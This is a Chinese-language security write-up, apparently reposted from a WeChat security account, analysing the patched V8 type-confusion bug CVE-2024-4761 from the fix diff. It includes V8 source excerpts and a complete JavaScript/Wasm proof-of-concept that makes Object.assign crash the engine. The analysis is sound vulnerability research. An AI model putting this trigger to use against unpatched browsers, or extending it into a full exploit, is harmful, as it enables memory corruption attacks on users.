城堡的小门:
v8类型混淆漏洞CVE-2024-4761分析
01
前言
在讲述漏洞之前, 让我们设想这样一个场景: 你有一座设有严密防御的城堡,城墙高大坚固,把敌人挡在外面。你的城堡有唯一的入口,那就是一个重门深锁、有严格守卫检查的大门。然后,为了增加便利性,你决定在城堡的另一侧增加一个小门,方便城堡内的人快速出入。然而,你在增加这个新功能后,忘记了对这个小门进行同样严格的防御和检查。这就相当于在你的城堡的防线上留下了一个大漏洞。敌人可以绕过主门的严格检查,通过这个没有守卫的小门轻易进入城堡。
本次要讲述的漏洞CVE-2024-4761就是这个城堡的小门: 随着v8中wasm模块的蓬勃发展, 添加了许多新类型的对象, 这些新类型对于旧有的代码提出了源源不断的挑战, 导致旧有代码遗漏了某些检查。
本文着重于漏洞分析, 尝试从patch开始一步步构建出POC。
根据官方修复patch: https://chromium-review.googlesource.com/c/v8/v8/+/5527397, 我们可以得知: 该漏洞在f320600cd1f48ba6bb57c0395823fe0c5e5ec52e这个commit中被修复, parent commit为66c0bd3237b1577e6291de56003f8fddc6b65b16, 因此后续的源码分析都是基于parent commit进行的。
02
背景知识
在进入漏洞分析之前, 我们首先需要了解一下相关函数
2.1
如何触发SetOrCopyDataProperties()
漏洞被认为是一个类型混淆, 位于SetOrCopyDataProperties()方法中, 因此首先研究如何触发该函数
// 该函数用于读取source拥有的所有可枚举属性, 并且把他们添加到target中
// 使用Set还是CreateDataProperty依赖于use_set参数.
// 属于excluded_properties中的值不会被复制
V8_WARN_UNUSED_RESULT static Maybe<bool> SetOrCopyDataProperties(
Isolate* isolate, Handle<JSReceiver> target, Handle<Object> source,
PropertiesEnumerationMode mode,
const base::ScopedVector<Handle<Object>>* excluded_properties = nullptr,
bool use_set = true);
这个函数没有直接暴露给js使用, 而是先被封装为Runtime方法
RUNTIME_FUNCTION(Runtime_SetDataProperties) {
HandleScope scope(isolate);
DCHECK_EQ(2, args.length());
Handle<JSReceiver> target = args.at<JSReceiver>(0);
Handle<Object> source = args.at(1);
// 2. If source is undefined or null, let keys be an empty List.
if (IsUndefined(*source, isolate) || IsNull(*source, isolate)) {
return ReadOnlyRoots(isolate).undefined_value();
}
MAYBE_RETURN(JSReceiver::SetOrCopyDataProperties(
isolate, target, source,
PropertiesEnumerationMode::kEnumerationOrder),
ReadOnlyRoots(isolate).exception());
return ReadOnlyRoots(isolate).undefined_value();
}
RUNTIME_FUNCTION(Runtime_CopyDataProperties) {
HandleScope scope(isolate);
DCHECK_EQ(2, args.length());
Handle<JSObject> target = args.at<JSObject>(0);
Handle<Object> source = args.at(1);
// 2. If source is undefined or null, let keys be an empty List.
if (IsUndefined(*source, isolate) || IsNull(*source, isolate)) {
return ReadOnlyRoots(isolate).undefined_value();
}
MAYBE_RETURN(
JSReceiver::SetOrCopyDataProperties(
isolate, target, source,
PropertiesEnumerationMode::kPropertyAdditionOrder, nullptr, false),
ReadOnlyRoots(isolate).exception());
return ReadOnlyRoots(isolate).undefined_value();
Runtime方法用于涉及到对象属性复制的slow path, 比如TF定义的builtin SetDataProperties就会在GotoIfForceSlowPath()或者fast path无法进行时时跳转到Runtime::kSetDataProperties, 进入slow path的条件
-
!(IsEmptyFixedArray(source_elements) && !IsEmptySlowElementDictionary(source_elements): source的elements不是空数组并且也不是空的dictionary, 那么就进入runtime
-
IsJSReceiverInstanceType(source_instance_type): 如果是JSReceiver的衍生对象, 但不是JSObject, 那么就进入slow path处理
-
IsDeprecatedMap(target_map): target的map被弃用, 此时写入target会触发target map更新, fast path无法处理
-
EnsureOnlyHasSimpleProperties(source_map, type, bailout)
-
IsJSReceiverInstanceType(source_instance_type)
TF_BUILTIN(SetDataProperties, SetOrCopyDataPropertiesAssembler) {
auto target = Parameter<JSReceiver>(Descriptor::kTarget);
auto source = Parameter<Object>(Descriptor::kSource);
auto context = Parameter<Context>(Descriptor::kContext);
Label if_runtime(this, Label::kDeferred);
// 强制进入slow path
GotoIfForceSlowPath(&if_runtime);
// 尝试fast path
SetOrCopyDataProperties(context, target, source, &if_runtime, base::nullopt,
base::nullopt, true);
Return(UndefinedConstant());
BIND(&if_runtime);
TailCallRuntime(Runtime::kSetDataProperties, context, target, source);
}
一个比较简单的触发SetOrCopyDataProperties的方式就是通过Object.assign()
-
Object.assign()调用Builtin::kSetDataProperties
-
Builtin::kSetDataProperties尝试fast path失败后进入Runtime::kSetDataProperties
-
Runtime::kSetDataProperties调用到CPP方法SetOrCopyDataProperties()中
// ES #sec-object.assign
TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler) {
TNode<IntPtrT> argc = ChangeInt32ToIntPtr(
UncheckedParameter<Int32T>(Descriptor::kJSActualArgumentsCount));
CodeStubArguments args(this, argc);
auto context = Parameter<Context>(Descriptor::kContext);
TNode<Object> target = args.GetOptionalArgumentValue(0);
// 被写入的对象
TNode<JSReceiver> to = ToObject_Inline(context, target);
Label done(this);
// 只有一个参数, 直接返回
GotoIf(UintPtrLessThanOrEqual(args.GetLengthWithoutReceiver(),
IntPtrConstant(1)),
&done);
// 遍历assign()后续所有的参数, 对于每一个参数都调用Builtin::kSetDataProperties
args.ForEach(
[=](TNode<Object> next_source) {
CallBuiltin(Builtin::kSetDataProperties, context, to, next_source);
},
IntPtrConstant(1));
Goto(&done);
// 5. Return to.
BIND(&done);
args.PopAndReturn(to);
}
触发slow path进入SetOrCopyDataProperties()的例子如下
// job(from)->elements非空, 进入`SetOrCopyDataProperties()`
let from = {};
from[0]=0;
let target = {};
Object.assign(target, from);
%SystemBreak();
2.2
SetOrCopyDataProperties()的作用
下面分析一下SetOrCopyDataProperties()的具体行为
// static
Maybe<bool> JSReceiver::SetOrCopyDataProperties(
Isolate* isolate, Handle<JSReceiver> target, Handle<Object> source,
PropertiesEnumerationMode mode,
const base::ScopedVector<Handle<Object>>* excluded_properties,
bool use_set) {
// 首先尝试cpp部分的fast赋值
Maybe<bool> fast_assign =
FastAssign(isolate, target, source, mode, excluded_properties, use_set);
if (fast_assign.IsNothing()) return Nothing<bool>();
if (fast_assign.FromJust()) return Just(true);
// 获取要遍历属性的对象
Handle<JSReceiver> from = Object::ToObject(isolate, source).ToHandleChecked();
// 获取from中所有属性的key(相当于elements和properties一起处理了)
Handle<FixedArray> keys;
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, keys,
KeyAccumulator::GetKeys(isolate, from, KeyCollectionMode::kOwnOnly,
ALL_PROPERTIES, GetKeysConversion::kKeepNumbers),
Nothing<bool>());
// 如果from没有fast properties, 但是target有fast properties, 并且target不是global proxy对象
if (!from->HasFastProperties() && target->HasFastProperties() &&
!IsJSGlobalProxy(*target)) {
int source_length; // source中属性的个数
if (IsJSGlobalObject(*from)) { // from是全局对象
source_length = JSGlobalObject::cast(*from)
->global_dictionary(kAcquireLoad)
->NumberOfEnumerableProperties();
} else if constexpr (V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL) {
source_length =
from->property_dictionary_swiss()->NumberOfEnumerableProperties();
} else { // from中是字典属性, 计算属性个数
source_length =
from->property_dictionary()->NumberOfEnumerableProperties();
}
// 如果source中属性个数超过了kMaxNumberOfDescriptors的限制
// 那么就把target中的fast properties都转换为dictionary properties
// 期望可以容纳source_length个元素, 因为后续也要把这部分添加进来
if (source_length > kMaxNumberOfDescriptors) {
JSObject::NormalizeProperties(isolate, Handle<JSObject>::cast(target),
CLEAR_INOBJECT_PROPERTIES, source_length,
"Copying data properties");
}
}
// 遍历所有的属性
for (int i = 0; i < keys->length(); ++i) {
// 获取第i个属性的key对象 (属性的key也是一个js对象)
Handle<Object> next_key(keys->get(i), isolate);
if (excluded_properties != nullptr &&
HasExcludedProperty(excluded_properties, next_key)) {
continue;
}
// 4a i. Let desc be ? from.[[GetOwnProperty]](nextKey).
// 获取该key的属性描述符
PropertyDescriptor desc;
Maybe<bool> found =
JSReceiver::GetOwnPropertyDescriptor(isolate, from, next_key, &desc);
if (found.IsNothing()) return Nothing<bool>();
// 4a ii. If desc is not undefined and desc.[[Enumerable]] is true, then
// 改属性为可枚举属性
if (found.FromJust() && desc.enumerable()) {
// 获取该属性的value对象
Handle<Object> prop_value;
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, prop_value,
Runtime::GetObjectProperty(isolate, from, next_key), Nothing<bool>());
// 把属性写入target中
if (use_set) {
// 4c ii 2. Let status be ? Set(to, nextKey, propValue, true).
Handle<Object> status;
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, status,
Runtime::SetObjectProperty(isolate, target, next_key, prop_value,
StoreOrigin::kMaybeKeyed,
Just(ShouldThrow::kThrowOnError)),
Nothing<bool>());
} else {
// 4a ii 2. Perform ! CreateDataProperty(target, nextKey, propValue).
PropertyKey key(isolate, next_key);
CHECK(JSReceiver::CreateDataProperty(isolate, target, key, prop_value,
Just(kThrowOnError))
.FromJust());
}
}
}
return Just(true);
}
总结一下操作逻辑
-
首先调用FastAssign()尝试fast path处理, 失败后进入后续部分
-
调用KeyAccumulator::GetKeys(from)获取from中的所有属性, 这里就elements和properties一起处理了
-
清理fast properties: 如果from没有fast properties, 但是target有fast properties, 那么就会调用NormalizeProperties(target)把target中的fast properties转换为字典实现
-
后续遍历from中所有的属性, 写入target中
FastAssign()的退出条件如下:
V8_WARN_UNUSED_RESULT Maybe<bool> FastAssign(
Isolate* isolate, Handle<JSReceiver> target, Handle<Object> source,
PropertiesEnumerationMode mode,
const base::ScopedVector<Handle<Object>>* excluded_properties,
bool use_set) {
// 非空字符串被认为是non-JSReceiver, 需要在Object.assign()中显示处理
if (!IsJSReceiver(*source)) {
return Just(!IsString(*source) || String::cast(*source)->length() == 0);
}
...
Handle<Map> map(JSReceiver::cast(*source)->map(), isolate);
// fast path只能处理source为JSObject的情况
if (!IsJSObjectMap(*map)) return Just(false);
// fast path只能处理source为simple properties的情况(非dictionary properties)
if (!map->OnlyHasSimpleProperties()) return Just(false);
// 只能处理source的elements为empty fixed array的情况
Handle<JSObject> from = Handle<JSObject>::cast(source);
if (from->elements() != ReadOnlyRoots(isolate).empty_fixed_array()) {
return Just(false);
}
// 至此: 只需要遍历from的properties array
Handle<DescriptorArray> descriptors(map->instance_descriptors(isolate),
isolate);
...
}
UNREACHABLE();
}
} // namespace
因此只要from的elements不是fixed empty array的, 那么FastAssign()就会退出。
03
漏洞根因
根据漏洞修复的diff:
diff --git a/src/objects/js-objects.cc b/src/objects/js-objects.cc
index c3f5d31..13b787f 100644
--- a/src/objects/js-objects.cc
+++ b/src/objects/js-objects.cc
Nothing<bool>());
if (!from->HasFastProperties() && target->HasFastProperties() &&
- !IsJSGlobalProxy(*target)) {
- // JSProxy is always in slow-mode.
- DCHECK(!IsJSProxy(*target));
+ IsJSObject(*target) && !IsJSGlobalProxy(*target)) {
// Convert to slow properties if we're guaranteed to overflow the number of
// descriptors.
int source_length;
问题出现在调用NormalizeProperties(target)的逻辑上, 调用JSObject::NormalizeProperties()前额外限制了target必须是JSObject。
在打上这个Patch之前: 调用NormalizeProperties()时会执行Handle::cast(target)把target强制转换为JSObject类型, 但是根据参数声明: Handletarget只能保证target是JSReceiver, 因此Handle::cast(target)这个强制类型转换是不安全的, 所以在调用前进行了一些列的类型检查:!from->HasFastProperties() && target->HasFastProperties() && ...
Maybe<bool> JSReceiver::SetOrCopyDataProperties(
Isolate* isolate,
Handle<JSReceiver> target, // <===
Handle<Object> source,
PropertiesEnumerationMode mode,
const base::ScopedVector<Handle<Object>>* excluded_properties,
bool use_set) {
...
// 如果from没有fast properties, 但是target有fast properties, 并且target不是global proxy对象
if (!from->HasFastProperties() && target->HasFastProperties() &&
!IsJSGlobalProxy(*target)) {
int source_length; // source中属性的个数
...
// 如果source中属性个数超过了kMaxNumberOfDescriptors的限制
// 那么就把target中的fast properties都转换为dictionary properties
// 期望可以容纳source_length个元素, 因为后续也要把这部分添加进来
if (source_length > kMaxNumberOfDescriptors) {
JSObject::NormalizeProperties(isolate, Handle<JSObject>::cast(target),
CLEAR_INOBJECT_PROPERTIES, source_length,
"Copying data properties");
}
}
...
}
JSReceiver与JSObject的区别如下, JSReceiver比JSObject少了一个elements字段
extern class JSReceiver extends HeapObject {
properties_or_hash: SwissNameDictionary|FixedArrayBase|PropertyArray|Smi;
}
extern class JSObject extends JSReceiver {
elements: FixedArrayBase;
因此: 当target是JSReceive的子类型, 但又不是JSObject类型时, 就会触发漏洞
根据gen/torque-generated/instance-types.h中的类继承关系, 满足条件的只有JS_PROXY_TYPE, WASM_ARRAY_TYPE, WASM_STRUCT_TYPE三种类型。
290)
V(FIRST_WASM_OBJECT_TYPE, 290)
V(WASM_ARRAY_TYPE, 290) /* https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/wasm-objects.tq?l=252&c=1 */
V(WASM_STRUCT_TYPE, 291) /* https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/wasm-objects.tq?l=249&c=1 */
V(LAST_WASM_OBJECT_TYPE, 291)
V(JS_PROXY_TYPE, 292) /* https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/js-proxy.tq?l=5&c=1 */
V(FIRST_JS_OBJECT_TYPE, 293)
... // JSObject的子类
2165)
V(LAST_JS_RECEIVER_TYPE, 2165)
V(LAST_HEAP_OBJECT_TYPE, 2165)
因此: 之前在编写SetOrCopyDataProperties()的代码时只考虑到了JS_PROXY_TYPE的情况, 所以进行了过滤, 但是后面添加WASM_ARRAY_TYPE, WASM_STRUCT_TYPE时没有考虑到SetOrCopyDataProperties(), 由此导致了漏洞。
04
构造POC
4.1
创建WasmArray对象
那么如何构造出一个WasmArray对象? 研究发现v8发现没有直接提供JS API来创建这个对象, 而且由于WASM GC是一个比较新的提案, 因此wat2wasm这个工具目前也不支持array.new这种语法, 因此只能通过wasm-module-builder构造:
const prefix = "../../";
d8.file.execute(`${prefix}/test/mjsunit/wasm/wasm-module-builder.js`);
let builder = new WasmModuleBuilder();
// 添加一个WasmArray类型, 元素类型为I32, 可变
let array = builder.addArray(kWasmI32, true);
builder.addFunction( // 添加名字为createArray的wasm函数
'createArray',
makeSig([kWasmI32], [kWasmExternRef]) // 函数签名: [kWasmI32]=>[kWasmExternRef]
).addBody([ // 生成函数体
kExprLocalGet, 0, // 栈上push局部变量0, 也就是函数kWasmI32类型的参数
kGCPrefix, kExprArrayNewDefault, array, // 创建array类型的数组, 元素为i32的默认值
kGCPrefix, kExprExternConvertAny, // 把wasm的值包装为Extern类型
]).exportFunc(); // 导出这个函数
let instance = builder.instantiate({}); // 构建wasm实例
let wasm = instance.exports; // 获取导入的函数
let array42 = wasm.createArray(42); // 42为wasm array的长度
%DebugPrint(array42);
构造出WasmArray对象后就要想办法进入JSObject::NormalizeProperties(isolate, Handle::cast(target)
4.2
进入SetOrCopyDataProperties()
对于Object.assign(...)
let from = {};
Object.assign(array42, from);
Object.assign()调用Builtin::kSetDataProperties 处理, 该函数首先会尝试fast path处理: 因此会先进入CSA实现的builtins方法: SetOrCopyDataProperties()
TF_BUILTIN(SetDataProperties, SetOrCopyDataPropertiesAssembler) {
auto target = Parameter<JSReceiver>(Descriptor::kTarget);
auto source = Parameter<Object>(Descriptor::kSource);
auto context = Parameter<Context>(Descriptor::kContext);
Label if_runtime(this, Label::kDeferred);
// 强制进入slow path
GotoIfForceSlowPath(&if_runtime);
// 尝试fast path
SetOrCopyDataProperties(context, target, source, &if_runtime, base::nullopt,
base::nullopt, true);
Return(UndefinedConstant());
BIND(&if_runtime);
TailCallRuntime(Runtime::kSetDataProperties, context, target, source);
}
为了不进入fast path, 分析SetOrCopyDataProperties()源码后发现: 只需要让job(from)->elements非空这样就可以进入if_runtime分支跳转到runtime方法SetOrCopyDataProperties()进行处理. CPP编写的runtime方法SetOrCopyDataProperties()才是真正包含漏洞的地方
// job(from)->elements非空, 进入CPP方法JSReceiver::SetOrCopyDataProperties()处理
let from = {};
from[0]=0;
Object.assign(array42, from);
4.3
触发NormalizeProperties()
进入SetOrCopyDataProperties()的条件如下
-
只要from的elements非空, FastAssign()就无法处理, 进入slow path部分
-
首先要满足!from->HasFastProperties() && target->HasFastProperties()
a. target->HasFastProperties()恒成立, WasmArray::properties为kEmptyFixedArray
b. 想要满足!from->HasFastProperties(), 只需要让from的properties通过字典实现即可
-
source_length > kMaxNumberOfDescriptors: 需要让from中properties超过kMaxNumberOfDescriptors个, 也就是1020个, 那么就可以成功进入NormalizeProperties(..., target)
Maybe<bool> JSReceiver::SetOrCopyDataProperties(
Isolate* isolate,
Handle<JSReceiver> target, // <===
Handle<Object> source,
PropertiesEnumerationMode mode,
const base::ScopedVector<Handle<Object>>* excluded_properties,
bool use_set) {
// [1] 只要from的elements非空, FastAssign()就无法处理
Maybe<bool> fast_assign =
FastAssign(isolate, target, source, mode, excluded_properties, use_set);
if (fast_assign.IsNothing()) return Nothing<bool>();
if (fast_assign.FromJust()) return Just(true);
...
// 如果from没有fast properties, 但是target有fast properties, 并且target不是global proxy对象
if (!from->HasFastProperties() && target->HasFastProperties() &&
!IsJSGlobalProxy(*target)) {
int source_length; // source中属性的个数
...
// 如果source中属性个数超过了kMaxNumberOfDescriptors的限制
// 那么就把target中的fast properties都转换为dictionary properties
// 期望可以容纳source_length个元素, 因为后续也要把这部分添加进来
if (source_length > kMaxNumberOfDescriptors) {
JSObject::NormalizeProperties(isolate, Handle<JSObject>::cast(target),
CLEAR_INOBJECT_PROPERTIES, source_length,
"Copying data properties");
}
}
...
}
因此这部分poc如下
// job(from)->elements非空, 进入CPP方法JSReceiver::SetOrCopyDataProperties()处理
let from = {};
from[0]=0;
// 添加properties, 使得job(from)->properties通过字典实现, 让!from->HasFastProperties()成立
// properties个数超过1020, 让source_length > kMaxNumberOfDescriptors成立
// 最终触发JSObject::NormalizeProperties(..., Handle<JSObject>::cast(target), ...)
for(let i=0; i<1021; i++) {
from['p'+i] = i;
}
Object.assign(array42, from);
4.4
完整POC
最终下面这样的POC即可触发crash
const prefix = "../../";
d8.file.execute(`${prefix}/test/mjsunit/wasm/wasm-module-builder.js`);
let builder = new WasmModuleBuilder();
let array = builder.addArray(kWasmI32, true);
builder.addFunction('createArray', makeSig([kWasmI32], [kWasmExternRef]))
.addBody([
kExprLocalGet, 0,
kGCPrefix, kExprArrayNewDefault, array,
kGCPrefix, kExprExternConvertAny,
]).exportFunc();
let instance = builder.instantiate({});
let wasm = instance.exports;
let array42 = wasm.createArray(42);
%DebugPrint(array42);
// job(from)->elements非空, 进入CPP方法JSReceiver::SetOrCopyDataProperties()处理
let from = {};
from[0]=0;
// 添加properties, 使得job(from)->properties通过字典实现, 让!from->HasFastProperties()成立
// properties个数超过1020, 让source_length > kMaxNumberOfDescriptors成立
// 最终触发JSObject::NormalizeProperties(..., Handle<JSObject>::cast(target), ...)
for(let i=0; i<1021; i++) {
from['p'+i] = i;
}
Object.assign(array42, from);
%SystemBreak();
Crash
05
总结
这个漏洞的根因在于v8支持WasmGC之后添加了新的对象类型, 导致与属性访问部分的老代码漏判。
实际上随着wasm模块的发展, 随之而来的漏洞源源不断。这给漏洞攻防提供了重要的启发: 一定关注新代码,因为新的代码往往是最容易被攻击的部分;开发人员在开发过程中也必须格外留意,确保旧有的代码能够安全地处理新的代码。在我们的"城堡"上打开新的一扇"小门"时,绝不能忘记对这扇新开的"小门"进行严格的安全检查。
06
Reference
https://zerodayengineering.com/insights/chrome-viz-v8-wasm.html
https://chromium-review.googlesource.com/c/v8/v8/+/5527397
https://docs.google.com/document/d/e/2PACX-1vSpCvBik81OppzMXbPjb0uRlWTdn4I1kttNSlbHtNMCT3xZJJiyKAsCcUxzNBimlBdXoKxrktlgJjOZ/pub
原文始发于微信公众号(京东安全应急响应中心):城堡的小门:v8类型混淆漏洞CVE-2024-4761分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论